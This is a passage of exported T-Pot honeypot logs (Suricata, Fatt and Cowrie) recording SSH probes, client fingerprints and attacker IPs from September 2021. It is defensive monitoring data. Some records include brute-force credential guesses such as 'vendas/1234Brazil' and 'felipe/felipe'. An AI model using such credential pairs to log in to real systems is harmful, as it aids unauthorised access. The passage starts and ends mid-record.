"umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 35820, "dest_port": 22, "timestamp": "2021-09-20T11:09:39.610187", "@timestamp": "2021-09-20T11:09:39.610Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
25230	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:09:40.116357+03	2021-09-20 14:15:09.84047+03	{"_id": "CQblAnwBvYTbRNuEtRmW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1762269842326518, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 40176, "dest_port": 22, "timestamp": "2021-09-20T11:09:40.116357Z", "@timestamp": "2021-09-20T11:09:40.116Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25231	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:09:40.561914+03	2021-09-20 14:15:09.841473+03	{"_id": "DAblAnwBvYTbRNuEtRmX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 1085507550581001, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 42392, "dest_port": 22, "timestamp": "2021-09-20T11:09:40.561914Z", "@timestamp": "2021-09-20T11:09:40.561Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25232	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:09:40.222002+03	2021-09-20 14:15:09.84247+03	{"_id": "CwblAnwBvYTbRNuEtRmW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1429723409526730, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 42572, "dest_port": 22, "timestamp": "2021-09-20T11:09:40.222002Z", "@timestamp": "2021-09-20T11:09:40.222Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25233	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:40.287101+03	2021-09-20 14:15:09.844471+03	{"_id": "DgblAnwBvYTbRNuEthmj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 42392, "timestamp": "2021-09-20T11:09:40.287101", "@timestamp": "2021-09-20T11:09:40.287Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25234	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:41.187332+03	2021-09-20 14:15:09.845471+03	{"_id": "HAblAnwBvYTbRNuEuhmO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 50876, "timestamp": "2021-09-20T11:09:41.187332", "@timestamp": "2021-09-20T11:09:41.187Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25235	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:09:42.065084+03	2021-09-20 14:15:09.84647+03	{"_id": "MgblAnwBvYTbRNuEvRln", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 2250925451619230, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 46944, "dest_port": 22, "timestamp": "2021-09-20T11:09:42.065084Z", "@timestamp": "2021-09-20T11:09:42.065Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25236	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:42.17124+03	2021-09-20 14:15:09.84847+03	{"_id": "NAblAnwBvYTbRNuEvhl2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 33022, "timestamp": "2021-09-20T11:09:42.171240", "@timestamp": "2021-09-20T11:09:42.171Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25237	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:42.929801+03	2021-09-20 14:15:09.84947+03	{"_id": "OAblAnwBvYTbRNuEvxkA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [vendas/1234Brazil] failed", "session": "5acc1808d524", "@version": "1", "password": "1234Brazil", "username": "vendas", "timestamp": "2021-09-20T11:09:42.929801Z", "@timestamp": "2021-09-20T11:09:42.929Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25238	159.75.114.202	109.199.241.180	Suricata	2021-09-20 14:09:44.024823+03	2021-09-20 14:15:09.851471+03	{"_id": "OwblAnwBvYTbRNuEwRlQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:09:43.457387+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "159.75.114.202", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "159.75.114.202", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1121271743511211, "payload": "AAADzAYU2AE9izRaLV1s0SgRVl0SpgAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 45918, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:09:44.024823Z", "@timestamp": "2021-09-20T11:09:44.024Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "........=.4Z-]l.(.V].....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
25239	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:43.744335+03	2021-09-20 14:15:09.852508+03	{"_id": "PQblAnwBvYTbRNuEwhlf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "159.75.114.202", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 45918, "timestamp": "2021-09-20T11:09:43.744335", "@timestamp": "2021-09-20T11:09:43.744Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25240	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:44.131286+03	2021-09-20 14:15:09.85347+03	{"_id": "RwblAnwBvYTbRNuEwhn3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:57384 (192.168.176.2:22) [session: 2f9f644411e1]", "session": "2f9f644411e1", "@version": "1", "protocol": "ssh", "src_port": 57384, "dest_port": 22, "timestamp": "2021-09-20T11:09:44.131286Z", "@timestamp": "2021-09-20T11:09:44.131Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25242	159.75.114.202	109.199.241.180	Cowrie	2021-09-20 14:09:43.742141+03	2021-09-20 14:15:09.85751+03	{"_id": "UQblAnwBvYTbRNuEwhn3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "159.75.114.202", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.75.114.202", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "b3e3f3dd5cd8", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:09:43.742141Z", "@timestamp": "2021-09-20T11:09:43.742Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
25243	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:09:44.084012+03	2021-09-20 14:15:09.858504+03	{"_id": "UgblAnwBvYTbRNuEwhn3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.login.failed", "message": "login attempt [felipe/felipe] failed", "session": "5cdb690ff84f", "@version": "1", "password": "felipe", "username": "felipe", "timestamp": "2021-09-20T11:09:44.084012Z", "@timestamp": "2021-09-20T11:09:44.084Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25244	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:44.138474+03	2021-09-20 14:15:09.8605+03	{"_id": "UwblAnwBvYTbRNuEwhn3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "2f9f644411e1", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:44.138474Z", "@timestamp": "2021-09-20T11:09:44.138Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25245	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:44.436378+03	2021-09-20 14:15:09.861501+03	{"_id": "VAblAnwBvYTbRNuEwhn3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", 